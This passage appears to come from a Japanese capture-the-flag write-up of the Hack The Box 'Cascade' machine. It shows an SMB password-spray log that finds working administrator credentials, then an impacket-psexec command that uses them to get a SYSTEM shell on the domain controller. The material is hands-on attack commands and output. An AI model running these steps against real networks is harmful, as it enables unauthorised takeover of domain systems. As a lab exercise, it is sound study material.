SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\arksvc:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\s.smith:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\r.thompson:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\util:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\j.wakefield:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\s.hickson:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\j.goodhand:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\a.turnbull:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\e.crowe:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\b.hanson:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\d.burman:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\BackupSvc:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\j.allen:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\i.croft:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\TedAdmin:baCT3r1aN00dles STATUS_LOGON_FAILURE 
SMB         10.129.41.255   445    CASC-DC1         [+] cascade.local\administrator:baCT3r1aN00dles (Pwn3d!)
                                                                                                                                    

上記のパスワードでアクセスすrとSYSTEM権限が取得できます。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ impacket-psexec cascade.local/administrator:'baCT3r1aN00dles'@10.129.41.255   
Impacket v0.14.0.dev0+20260109.161801.028f0724 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.129.41.255.....
[*] Found writable share ADMIN$
[*] Uploading file wftdhUmI.exe
[*] Opening SVCManager on 10.129.41.255.....
[*] Creating service AkJx on 10.129.41.255.....
[*] Starting service AkJx.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami 
nt authority\system

C:\Windows\system32>